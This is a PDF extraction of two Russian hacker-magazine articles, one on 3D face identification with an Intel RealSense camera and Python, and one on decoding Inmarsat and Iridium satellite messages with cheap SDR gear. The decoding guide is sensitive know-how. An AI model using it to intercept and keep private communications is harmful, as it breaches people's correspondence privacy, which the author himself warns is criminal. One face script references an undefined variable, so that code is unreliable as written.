меты  перед  ней.  По  искрив лению  этих  линий  камера  понима ет,  нас коль ко
далеко или близ ко находят ся эти объ екты.

Так выг лядит камера, уста нов ленная на тре ногу

Ра бочее  рас сто яние  камеры  неболь шое:  излу чатель  рас положен  так,  что
объ екты,  которые  находят ся  бли же  двад цати  сан тимет ров,  не  будут  осве‐ 
щены  и,  соот ветс твен но,  не  будут  прос каниро ваны.  Слиш ком  далеко  рас‐ 
положен ные  пред меты  —  даль ше  двух  мет ров  —  тоже  ока жут ся  не  вид ны,
пос коль ку  мощ ность  лазера  не  поз волит  спро еци ровать  на  них  инфрак‐ 
расную сет ку.

В ком плек те с камерой идет про вод USB и инс трук ция со ссыл кой на офи‐ 
циаль ный SDK в  .ре пози тории на GitHub

УСТАНОВКА SDK
В  пер вую  оче редь  нуж но  уста новить  прог рам мное  обес печение,  что бы
камера  зарабо тала.  Поль зовате ли  Windows  могут  прос то  ска чать  и  уста‐ 
новить  . Если же у тебя Linux, но не Ubuntu 16 или 18, то при дет ся
собирать про ект самос тоятель но.

прог рамму

Для начала ска чаем исходный код и под готовим пло щад ку для сбор ки.

$ git clone https://github.com/IntelRealSense/librealsense.git
$ cd librealsense
$ mkdir build && cd build

Те перь мож но соб рать про ект, что бы пос мотреть, как работа ет камера.

$ cmake .. ‐DBUILD_EXAMPLES=true ‐DBUILD_WITH_OPENMP=false ‐DHWM_O
VER_XU=false
$ make ‐j4
$ make install

Запуск в macOS
Ес ли ты поль зователь macOS, для запус ка гра фичес ких прог рамм тебе при‐ 
дет ся исполь зовать Xcode и соот ветс тву ющий флаг при кон фигура ции. Так ты
смо жешь  сге нери ровать  про ект  Xcode,  что бы  запус тить  каж дую  ути литу
по отдель нос ти.

$ cmake .. ‐DBUILD_EXAMPLES=true ‐DBUILD_WITH_OPENMP=false ‐DHWM_O
VER_XU=false ‐G Xcode
$ open librealsense2.xcodeproj

От кро ется окно Xcode. Выбери необ ходимую прог рамму, собери про ект ком‐ 
бинаци ей кла виш Command + B и наж ми кноп ку Build and run.

Ок но Xcode с фай лами сбор ки для macOS

Для  проб ного  запус ка  нам  понадо бит ся  ути лита  RealSense  Viewer,  которая
показы вает на экра не, что видит камера.

Та ким будет окно RealSense Viewer, если под клю чить камеру

При мер но так выг лядит тран сля ция глу бины
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На GitHub  ты можешь най ти под робную инс трук‐ 
цию по сбор ке   и  .для Linux для macOS

ПОДКЛЮЧАЕМ PYTHON
Мы поп робу ем написать свою прог рамму для иден тифика ции по трех мерно‐ 
му изоб ражению лица. И для  начала нам нуж но под клю чить биб лиоте ку Re‐
alSense,  нап ример  к Python 3. Поль зовате лям Windows и некото рых дис три‐ 
бути вов  Linux  не  при дет ся  нап рягать ся —  мож но  взять  офи циаль ный  пакет

 в PyPI.pyrealsense2

$ pip install pyrealsense2

Ос таль ных  же  ждет  еще  одно  прик лючение:  необ ходимо  пересоб рать  весь
про ект, добавив во фла ги врап пер для Python.

$ cmake .. ‐DBUILD_EXAMPLES=true ‐DBUILD_WITH_OPENMP=false ‐DHWM_O
VER_XU=false ‐DPYTHON_EXECUTABLE=/usr/bin/python3 ‐DBUILD_PYTHON_B
INDINGS:bool=true
$ make ‐j4

В  пап ке    появят ся  два  фай ла  и  четыре  сим воличес кие
ссыл ки. Что бы исполь зовать эти фай лы как биб лиоте ку для Python, их необ‐ 
ходимо ско пиро вать в пап ку, из которой ты будешь запус кать скрип ты.

wrappers/python/

Так выг лядят фай лы модуля для Python 3.7

Да вай под клю чим камеру, запус тим ска ниро вание и поп робу ем сде лать трех‐ 
мерную фотог рафию.

import pyrealsense2 as rs  # Импортируем библиотеки
import numpy as np
import matplotlib.pyplot as plt

pipeline = rs.pipeline()  # Создаем объект, который передает нам 
новые кадры
config = rs.config()  # Получаем объект конфигурации
config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)
# Настраиваем получение кадров глубины в разрешении 640 на 480 и 30 
раз в секунду

pipeline.start(config)  # Запускаем поток

try:
   frames = pipeline.wait_for_frames()  # Ждем первого кадра
   depth_frame = frames.get_depth_frame()  # Получаем изображение 
глубины

   depth_image = np.asanyarray(depth_frame.get_data())  # 
Преобразуем изображение в двумерный массив чисел

   plt.imshow(depth_image, cmap='magma')  # Рисуем изображение на 
экране
   plt.show()
finally:
   pipeline.stop()  # Останавливаем камеру

Ре зуль тат выпол нения скрип та
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  ты
можешь  най ти  на  GitHub  Pages.  Докумен тация
не шиб ко под робная, но отве ты на основные воп‐ 
росы о фун кци ональ нос ти най ти здесь мож но.

До кумен тацию  биб лиоте ки  pyrealsense2

ДЕЛАЕМ ТРЕХМЕРНЫЕ МОДЕЛИ ЛИЦА
Что бы иден тифици ровать челове ка по лицу, нам нуж но получать фор му это го
лица. Самый  удоб ный  для  даль нейшей  обра бот ки  трех мерной модели  лица
фор мат — обла ко точек.

Точ ки,  которые  обра зуют  обла ко, —  это  сво еоб разные  трех мерные  пик‐ 
сели:  они  показы вают,  где  находит ся  гра ница  объ екта  в  трех мерном  прос‐ 
транс тве.

Что бы получить трех мерное обла ко, в биб лиоте ке   есть спе‐ 
циаль ный  класс  ,  который  из  кад ра  глу бины  соз дает  мас сив
из коор динат.

pyrealsense2
pointcloud

import pyrealsense2 as rs

pc = rs.pointcloud()  # Настраиваем облако точек
pipeline = rs.pipeline()

config = rs.config()
config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)

pipeline.start(config)

try:
   frames = pipeline.wait_for_frames()

   depth_frame = frames.get_depth_frame()
   depth_intrinsics = depth_frame.profile.as_video_stream_profile().
intrinsics
   # Получаем внутренние характеристики кадра

   w, h = depth_intrinsics.width, depth_intrinsics.height
   # высоту и ширину кадра

   points = pc.calculate(depth_frame)  # Вычисляем положение точек 
в облаке
   points.export_to_ply('cloud.ply', color_frame)  # Сохраняем 
точки в файл
finally:
   pipeline.stop()

Этот скрипт соз дает трех мерную фотог рафию, а мы сох раня ем ее в фор мате
PLY в виде мас сива всех коор динат.

Для  визу али зации  нашего  обла ка  точек  вос поль зуем ся  биб лиоте кой
 из PyPI.open3d

import open3d as o3d

pcd = o3d.io.read_point_cloud("cloud.ply")
o3d.visualization.draw_geometries([pcd])

Так выг лядит обла ко точек

А вот так — с дру гого ракур са

Мож но заметить, что лицо отбра сыва ет «тень» на сте ну позади. Поэто му мы
модифи циру ем  наш  скрипт:  исполь зуем  матема тику  и  выб росим  все  точ ки,
которые лежат даль ше 35 см от камеры.

import pyrealsense2 as rs
import numpy as np
import open3d as o3d

pc = rs.pointcloud()
pipeline = rs.pipeline()

config = rs.config()
config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)

pipeline.start(config)

try:
   frames = pipeline.wait_for_frames()

   depth_frame = frames.get_depth_frame()
   depth_intrinsics = depth_frame.profile.as_video_stream_profile().
intrinsics
   w, h = depth_intrinsics.width, depth_intrinsics.height

   points = pc.calculate(depth_frame)

   vts = np.asanyarray(points.get_vertices(2))  # Получаем массив 
координат точек
   vts = vts[np.where(vts[:, 2] < 0.35)]  # Убираем все, что дальше 
35 см

   pcd = o3d.geometry.PointCloud()  # Создаем облако open3d
   pcd.points = o3d.utility.Vector3dVector(vts)  # Наполняем его 
точками
   o3d.visualization.draw_geometries([pcd])  # Рисуем
   o3d.io.write_point_cloud("cloud_filtered.ply", pcd)  # Сохраняем 
в файл
finally:
   pipeline.stop()

В ито ге получа ется вот такое трех мерное лицо

С дру гого ракур са

СРАВНЕНИЕ ЛИЦ
Для срав нения двух лиц мы выпол ним нес коль ко шагов.
1. Най дем «центр масс» для каж дого обла ка, а затем сов местим их.
2. Для каж дой точ ки из пер вого обла ка най дем бли жай шую точ ку из вто рого
обла ка и рас сто яние меж ду ними про сум миру ем.

Поп робу ем написать такой алго ритм.

import open3d as o3d
import numpy as np

# Загрузим облака
pca = o3d.io.read_point_cloud("cloud_1.ply")
pcb = o3d.io.read_point_cloud("cloud_2.ply")

# Уберем все лишние данные (не считанные камерой точки [0, 0, 0])
points_a = np.asarray(pca.points)
points_a = points_a[points_a.nonzero()[0]]

points_b = np.asarray(pcb.points)
points_b = points_b[points_b.nonzero()[0]]

# Посчитаем центр каждого облака
center = center_a = np.mean(points_a.swapaxes(0, 1), axis=‐1)
center_b = np.mean(points_b.swapaxes(0, 1), axis=‐1)

center_diff = center_b ‐ center_a

# Совместим центры облаков
points_b ‐= np.array([center_diff]).repeat(len(points_b), axis=0)

diff = 0

# Для каждой точки в первом облаке ищем ближайшую точку и сравниваем 
со вторым облаком
for point_a in points_a:
   diff += (np.abs(points_b ‐ point_a)).min()

print(diff)

Для раз ных лиц я получил резуль тат в  , а для оди нако‐ 
вых —  . Раз ница зна читель ная, а зна чит, иден тифика‐ 
ция весь ма точ ная.

0,289807649630209541
0,056304771423558416

Два сним ка лица, исполь зовав шихся для срав нения
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Для срав нения обла ков есть откры тая прог рамма
,  которая  может  не  толь ко  отоб‐ 

разить  обла ка  для  визу аль ного  срав нения,  но  и
пос читать рас сто яние меж ду ними.

CloudCompare

ВЫВОДЫ
Как видишь, тех нология аутен тифика ции по трех мерно му изоб ражению лица
очень  дей ствен ная  и  не  тре бует  замыс ловатых  алго рит мов.  Для  работы
понадо бит ся толь ко неболь шая спе циали зиро ван ная камера и нем ного сме‐ 
кал ки.

Ска ниро вание лица — один из самых безопас ных спо собов иден тифика‐ 
ции,  пос коль ку  под делать  лицо  дру гого  челове ка  целиком  очень  и  очень
слож но. К тому же боль шинс тво 3D‐камер име ют встро енный цве товой сен‐ 
сор, поз воля ющий ана лизи ровать и обыч ную цвет ную кар тинку одновре мен‐ 
но с трех мерным изоб ражени ем.
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Се год ня  я  покажу,  как  при нимать  и  декоди ровать  сиг налы
из  кос моса.  Не  так,  конеч но,  как  это  дела ют  кон такте ры
и  любите ли  шапочек  из  фоль ги,  а  на  пол ном  серь езе.  Мы
будем  изу чать  так  называ емый    —  диапа зон  час тот
от 1 до 2 ГГц, который активно исполь зует ся для ком муника‐ 
ции со спут никами.

L‐Band

При ем  диапа зона  L‐Band  не  явля ется  для  ради олю бите лей  чем‐то  кар‐ 
диналь но  новым.  Но  рань ше  это  было  неп росто.  Нуж но  было  рас счи тать
и  сде лать  антенну,  спа ять  малошу мящий  уси литель  (потому  что  сиг налы
со  спут ника  очень  сла бы),  потом  нас тро ить  все  это.  К  тому  же  при боры
для это го занятия сто ят немалых денег.

Сей час все ста ло гораз до про ще и дешев ле: мож но уло жить ся в 100 дол‐ 
ларов за антенну вмес те с при емни ком. Что каса ется самих спут ников, то мы
рас смот рим две сис темы:   и  . Они инте рес ны тем, что это дей‐ 
ству ющие  сис темы  свя зи  и мож но  «вжи вую»  пос мотреть,  как  они  работа ют.
Более  того,  для  этих  сис тем  есть  прог рам мные  декоде ры,  которые  мож но
запус тить, изу чить исходни ки на GitHub.

Iridium Inmarsat

ЖЕЛЕЗО
Ком плект  для  при ема  спут никовых  сиг налов  сос тоит  из  трех  основных  ком‐ 
понен тов:  при емни ка,  антенны  и  малошу мяще го  уси лите ля  (LNA,  Low  Noise
Amplifier).

При емник
Нач нем с при емни ка. Есть три основных вари анта.

Ва риант 1 — RTL-SDR V3
Это уже клас сика жан ра, один из луч ших и про верен ных недоро гих при емни‐ 
ков на базе извес тно го RTL‐SDR. При емник обес печива ет работу на час тотах
до  1,7  ГГц  и ширину  полосы обзо ра  2 МГц. Цена  при емни ка  око ло  30  дол‐ 
ларов вмес те с антенной и мини‐шта тивом (он тоже в хозяй стве при годит ся).

RTL‐SDR V3

Важ но взять имен но ори гиналь ную модель: на AliExpress есть более дешевые
кло ны, но, во‐пер вых, их качес тво не гаран тиру ется, во‐вто рых, в при емни ке
обя затель но  дол жна  быть  воз можность  подавать  питание  на  антенный  вход
(bias tee), ина че ничего не зарабо тает.

Ва риант 2: Nooelec NESDR SMArTee v2
Этот при емник при мер но сопос тавим по харак терис тикам с пре дыду щим, он
име ет неот клю чаемый bias tee, и для при ема спут ников это может быть удоб‐ 
но. Желатель но выб рать имен но вто рую вер сию, потому что у пер вой мень ше
мак сималь ный  отда ваемый  ток  (250  мА  про тив  100).  Это  важ но:  некото рые
LNA (нап ример, Nooelec SAWbird) пот ребля ют поряд ка 180 мА.

NESDR SMArTee v2

Есть  и  дру гая  модель  Nooelec  NESDR  SMArt,  без  Tee  в  наз вании,  она
не подой дет.

Ва риант 3 — SDRplay RSPduo
Это  более  качес твен ный  при емник,  который  обес печива ет  ширину  полосы
при ема до 8 МГц, что гораз до удоб нее для поис ка сиг налов. Сам АЦП так же
име ет боль шую раз рядность (12 бит вмес то 8), что луч ше для при ема сла бых
сиг налов.

SDRplay RSPduo

У RSPduo нес коль ко антенных вхо дов, и он может при нимать сиг налы от 2 кГц
до 2 ГГц. Цена его, впро чем, уже око ло 250 дол ларов.

Ан тенна
Ан тенны  быва ют  раз ные,  для  наших  целей  луч ше  все го  под ходят
патч‐антенны  и  парабо личес кие  антенны.  Сре ди  самодель ных  антенн
популяр ны спи раль ные: их доволь но лег ко смас терить в домаш них усло виях.
Некото рые  исполь зуют  переде лан ную  антенну  от  GPS,  из  которой  уда ляют
полосо вой  филь тр.  В  общем,  вари антов  мно го.  Из  того,  что  мож но  прос то
взять  и  купить без  «доработ ки  напиль ником», мож но  пореко мен довать  ком‐ 
плект RTL‐SDR Active L‐Band 1525–1637 Patch Antenna Set.

RTL‐SDR Patch Antenna

Это уже готовая антенна со встро енным уси лите лем, для начала работы дос‐ 
таточ но под клю чить ее к при емни ку и акти виро вать в нас трой ках bias tee, что‐ 
бы на антенну было подано питание. Цена антенны — 35 дол ларов.

Хо рошие  резуль таты  дает  парабо личес кая  антенна  для  Wi‐Fi,  но  она
доволь но гро моз дкая.

Нап равлен ная парабо личес кая антенна

Хоть эта антенна по докумен тации пред назна чена для диапа зона 2,4 ГГц, но и
на  1,7  ГГц  она  работа ет  хорошо. В  ней  нет  встро енно го  LNA,  его  при дет ся
докупить отдель но.

Вы бор для начина юще го любите ля спут никово го при ема доволь но прост:
при емник RTL‐SDR V3  за  30  дол ларов  и RTL‐SDR Patch  Antenna  за  35  дол‐ 
ларов.  Под клю чаем  все  это  к  ПК  и  можем  при нимать  ради осиг налы.  Все
обой дет ся  в  65  дол ларов.  Еще  за  пять бак сов мож но  при купить  удли нитель
SMA и трех метро вый кабель USB: они при годят ся, если антенна и при емник
рас положе ны далеко от компь юте ра.

А  если  тебе  захочет ся  при нимать  более  сла бые  сиг налы,  сетап  мож но
про апгрей дить и пос тавить антенну поболь ше, тут пре дела совер шенс тву нет.

Я все тес тировал на таком вот ком плек те.

Ан тенна + SDR‐при емник

На этом мы закон чим с железом и перей дем к соф ту. Я не буду рас ска зывать,
как  под клю чить RTL‐SDR  к  компь юте ру  и  как  уста новить SDR# с  пла гина ми,
ста тей про это было дос таточ но, в  том чис ле писали и в «Хакере»  («

»).
Де лаем

пер вые шаги с RTL‐SDR
Для  при ема  Inmarsat  нуж но  будет  уста новить  Virtual  Audio  Cable,  что бы

мож но  было  переда вать  звук  из  SDR#  в  прог рамму‐декодер.  Для  декоди‐ 
рова ния Iridium мы будем исполь зовать Ubuntu из Windows 10.

ОБЩАЯ ИНФОРМАЦИЯ
Ка кие сиг налы мы вооб ще собира емся при нимать?

Inmarsat  —  это  бри тан ская  ком пания,  которая  исполь зует  груп пиров ку
из  три над цати  геос таци онар ных  спут ников,  рас положен ных  на  орби‐ 
те 35 786 км. Спут ники геос таци онар ные, то есть они вра щают ся син хрон но
с Зем лей. Для при ема их сиг нала знать точ ное вре мя про лета не нуж но: они
всег да на одном мес те отно ситель но повер хнос ти Зем ли (в отли чие от спут‐ 
ников NOAA).

Ком пания  Inmarsat пре дос тавля ет раз ные сер висы переда чи дан ных, тек‐ 
сто вых  сооб щений,  телефо нии. Это  акту аль но  там,  где  нет  «обыч ного»  пок‐ 
рытия, — в ави ации, на фло те. Под робнее мож но пос мотреть на 

. Часть дан ных шиф рует ся, часть переда ется в откры том виде.
офи циаль‐ 

ном сай те

Пок рытие Inmarsat

Как  видишь,  зоной  при ема  охва чена  фак тичес ки  вся  повер хность  Зем ли.
Одна ко геос таци онар ные спут ники рас положе ны над эква тором, и на самых
север ных широтах при ем может быть зат руднен.

Аме рикан ская  ком пания  Iridium  исполь зует  дру гой  под ход:  66  спут ников
лета ют  на  низ кой  орби те  —  781  км  над  повер хностью  Зем ли,  количес тво
спут ников  рас счи тано  так,  что бы  в  любой  момент  над  каж дой  точ кой  было
как минимум три спут ника.

Пок рытие Iridium

Чем  боль ше  уро вень  сиг нала  со  спут ника,  тем  луч ше  связь  в  север ных
широтах,  зато  и  сто имость  обслу жива ния  спут никовой  груп пиров ки,  веро‐ 
ятно, выше. Как и  Inmarsat,  Iridium пре дос тавля ет сер висы 

.
пе реда чи дан ных,

сооб щений и голоса
На этом мы закон чим с теорией и перей дем к прак тике: пос мотрим, какие

декоде ры дос тупны для обе их сис тем.

WARNING

Обе сис темы свя зи дей ству ющие и исполь зуют ся
в том чис ле и в Рос сии. Так что статью УК РФ 138
«Наруше ние  тай ны  перепис ки,  телефон ных
перего воров,  поч товых,  телег рафных  или  иных
сооб щений» ник то не отме нял. При нимать и ана‐ 
лизи ровать  какие‐либо  ради осиг налы  не  зап‐ 
рещено,  но  пуб ликация  или  хра нение  декоди‐ 
рован ных  сооб щений  может  прес ледовать ся
по закону. Так же из юри дичес ких сооб ражений я
не  буду  писать  здесь  кон крет ные  зна чения  час‐ 
тот, хотя, в общем‐то, это не сек рет и находит ся
в интерне те за пять минут.

Продолжение статьи →
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СИГНАЛЫ СПУТНИКОВ INMARSAT И IRIDIUM

GEEK  НАЧАЛО СТАТЬИ←

ПРИЕМ СИГНАЛОВ INMARSAT
Как ты пом нишь, спут ники ком пании Inmarsat геос таци онар ные. Поэто му пер‐ 
вым делом ищем нап равле ние на спут ник, для  чего мож но вос поль зовать ся
сай том  .  Выбира ем  свое  мес тополо жение,  находим  один
из  спут ников  Inmarsat  и  получа ем  угол  и  высоту  спут ника,  куда  нуж но  будет
нап равить антенну.

dishpointer.com

При мер скрин шота DishPointer

Я про бовал раз ные прог раммы для Android, но не подош ла ни одна из них —
некото рые  обве шаны  рек ламой,  во  мно гих  есть  толь ко  спут ники  для  ТВ,
но нет под дер жки Inmarsat. В ито ге сайт DishPointer ока зал ся самым удоб ным
решени ем. Кста ти, для при ема желатель но откры тое небо: если спут ник зак‐ 
рыт домами, то сиг нала может не быть.

За тем  под клю чаем  при емник  RTL‐SDR  с  антенной  и  вво дим  коман ду
 для подачи нап ряжения на антенный выход RTL‐SDR.

Без подачи питания антенна не зарабо тает.
rtl_biast ‐d 0 ‐b 1

Те перь мож но  запус кать  софт. Час тоты нес ложно най ти  .
Если все было сде лано пра виль но, то, ког да ты нап равишь антенну в небо, ты
уви дишь на экра не SDR# сиг налы спут ников.

са мос тоятель но

Scytale-C
Для  начала  мы  рас смот рим  ,  который  соз дал  человек
с  ником  Scytalec.  Scytale‐C  поз воля ет  декоди ровать  сооб щения,  которые
были переда ны через спут ники  Inmarsat. Прог рамма сос тоит из двух час тей:
самого  пла гина,  который  уста нав лива ется  в  SDR#,  и  отдель ного  декоде ра
QuickUI.

пла гин  для  SDR#

Пла гин Scytale‐C дол жен быть акти вен и при пра виль ной нас трой ке будет
показы вать ста тус   и фазовое соз вездие BPSK.Locked

При ем сиг налов в SDR#

Те перь  запус каем  Quick‐UI,  прог рамма  может  показы вать  как  содер жимое
пакетов в JSON, так и декоди рован ные сооб щения.

Де коди рова ние сооб щений в Quick‐UI

JAERO
Вто рая полез ная прог рамма —  . Она ори енти рова на на при ем сооб‐ 
щений  ACARS  (Aircraft  Communications  Addressing  and  Reporting  System),
которые пред назна чены для  воз душных судов и  переда ются  через спут ники
Inmarsat.

JAERO

JAERO работа ет через Virtual Audio Cable, так что в нас трой ках SDR# нуж‐ 
но будет ука зать соот ветс тву ющее устрой ство для вывода зву ка. Для при ема
сооб щений нуж но выб рать сиг нал в JAERO, при нор маль ном декоди рова нии
дол жно появить ся фазовое соз вездие QPSK, как показа но на рисун ке.

Де коди рова ние сооб щений в JAERO

JAERO  поз воля ет  декоди ровать  раз ные  сиг налы,  не  толь ко  тек сто вые,  но  и
голосо вые. Жела ющие могут изу чить воз можнос ти прог раммы самос тоятель‐ 
но.

На этом мы закон чим с Inmarsat и перей дем к при ему сиг налов Iridium.

ПРИЕМ СИГНАЛОВ IRIDIUM
При ем  Iridium  —  нем ного  более  муд реная  тема,  фор мат  самих  сиг налов
гораз до слож нее. Спут ники Iridium переда ют сиг налы в виде корот ких пакетов
на раз личных час тотах, для наг ляднос ти мож но показать скрин шот при емни ка
SDRplay с шириной полосы 4 МГц.

Сиг налы Iridium

Слож ность при ема Iridium для боль шинс тва поль зовате лей сос тоит в том, что
декодер   мож но ском пилиро вать толь ко в Linux. Мы вос поль зуем‐ 
ся тем, что в Windows 10 штат но мож но уста новить Ubuntu из Microsoft Store.
Сам  декодер  работа ет  из  коман дной  стро ки,  так  что  перед  его  запус ком
целесо образно  пос мотреть  спектр  с  помощью  SDR#  и  запом нить  час тоту,
на которой вид но боль ше все го сиг налов.

gr‐iridium

Дру гая  слож ность:  ширина  полосы  спек тра,  в  которой  переда ются  сиг‐ 
налы  Iridium,  пре выша ет  2  МГц,  пре дос тавля емые  RTL‐SDR.  Так  что  часть
пакетов мы неиз бежно про пус тим. В иде але нам нужен более широко полос‐ 
ный  при емник,  нап ример  SDRplay  или  HackRF.  Но  мы  все  же  пос мотрим,
как это работа ет с RTL‐SDR.

Для это го нуж но совер шить нес коль ко дей ствий.
,  ском пилиру ем  и  уста новим  нуж ные  ком понен ты.

Декодер Iridium сос тоит из двух отдель ных ком понен тов —   и 
. Инс трук ция по ком пиляции и уста нов ке есть на стра нице GitHub.

1. Запус тим Ubuntu

gr‐iridium iridium‐
toolkit

  в Windows  коман дой  .
Проб лема  Ubuntu  в  Windows  10  в  том,  что  Linux  не  видит  под клю чен ных
по USB устрой ств и запус тить при емник нап рямую мы не можем. Поэто му мы
запус тим в Windows сер вер   коман дой 

, где   — нуж ная нам час тота.

2. Акти виру ем bias  tee rtl_biast  ‐d  0  ‐b  1

rtl_tcp rtl_tcp.exe ‐a 0.0.0.0 ‐f
16XXXXXXXX XXX

   в пап ке 
 со сле дующим содер жани ем.

3. Соз дадим в Ubuntu файл rtl_tcp.conf gr‐iridium/exam‐
ples

[osmosdr‐source]
sample_rate=2000000
center_freq=16XXXXXXXX
device_args='rtl_tcp=127.0.0.1:1234'
# Automatic bandwidth
bandwidth=0
# LNA gain
gain=19
# Moderate gains
if_gain=30

 коман дой4. Запус тим запись пакетов

iridium‐extractor ‐D 4 examples/rtl_tcp.conf | grep "A:OK" > output.
bits

Чис ло  записан ных  пакетов  (помечен ных  как  )  дол жно рас ти,  как  показа но
на скрин шоте.

ok

За пись с помощью iridium‐extractor

Ес ли над писи   не появ ляют ся и на экра не одни нули, то даль ше идти бес‐ 
полез но,  надо  раз бирать ся,  что  не  так.  Чаще  все го  проб лема  в  том,  что  ты
не  акти виро вал  bias  tee,  а  без  него  антенна работать  не будет,  или  выб рал
невер ную час тоту.

ok

За пись  мож но  оста новить  на  некото рое  вре мя.  На  выходе  мы  дол жны
получить  файл  ,  раз мер  которо го  зависит  от  чис ла  соб ранных
пакетов.

output.bits

  коман дой 
.

5.  Запус тим  iridium-parser python  iridium‐parser.py 
output.bits > output.parsed

Дан ные  готовы.  Для  при мера  мож но  извлечь  коор динаты  про лета ющих
спут ников с помощью коман ды

grep ^IRA output.parsed | perl mkkml tracks > output.kml

Ре зуль тат  обра бот ки  записи,  впро чем,  доволь но  силь но  зависит
от везения — обширный тра фик со спут ников быва ет не всег да.

WWW

•Опи сание  осталь ных  команд  для  работы
с Iridium

Кста ти,  инте рес но пос мотреть сиг налы  Iridium самос тоятель но, без помощи
декоде ра.  Как  показы вает  прос мотр  записи  в  прог рамме  Signals  Analyzer,
дан ные переда ются в виде корот ких сиг налов (burst) дли ной око ло 9 мс.

Фор ма сиг нала Iridium

Фор ма сиг нала ука зыва ет на фазовую модуля цию. На кар тинке замет ны два
вида  сиг налов,  занима ющих  раз ную  ширину  спек тра.  Ана лиз  на  фазовой
плос кости  показы вает,  что  ско рость  переда чи  широко го  сиг нала  сос тавля‐ 
ет 240 бит/с, это дает объ ем дан ных одно го пакета при мер но 2 Кбайт. Узко‐ 
полос ный  сиг нал  име ет  ско рость  в  десять  раз  мень ше,  но  переда ются  они
чаще.

Вид сиг нала на фазовой плос кости в прог рамме Signals Analyzer

В ЗАВЕРШЕНИЕ
На этом мы закон чим крат кое зна комс тво с при емом спут никовых сиг налов.
Разуме ется, это далеко не все инте рес ное,  что может быть при нято из  кос‐ 
моса.  Нап ример,  весь ма  любопы тен  при ем  с  мете оспутни ков  изоб ражений
высоко го раз решения (HRPT, high‐resolution picture transmission).

Для  озна ком ления  можешь  пос мотреть 
.  К  сожале нию,  в  Евро пе  эти  спут ники

прак тичес ки не вид ны и находят ся за горизон том.

под робный  тутори ал  по  при ему
аме рикан ских  мете оспутни ков  GOES

На мой  взгляд,  тема  спут никово го  при ема  доволь но мало  изу чена:  одни
хорошо уме ют паять антенны и уси лите ли, но мало раз бира ются в циф ровом
ана лизе сиг налов, и наобо рот — прог раммис ты не очень любят паять. Но в
пос леднее вре мя появи лись готовые и недоро гие решения, которые работа‐ 
ют из короб ки, так что тема, наде юсь, получит раз витие — может, в том чис ле
и бла года ря читате лям «Хакера».
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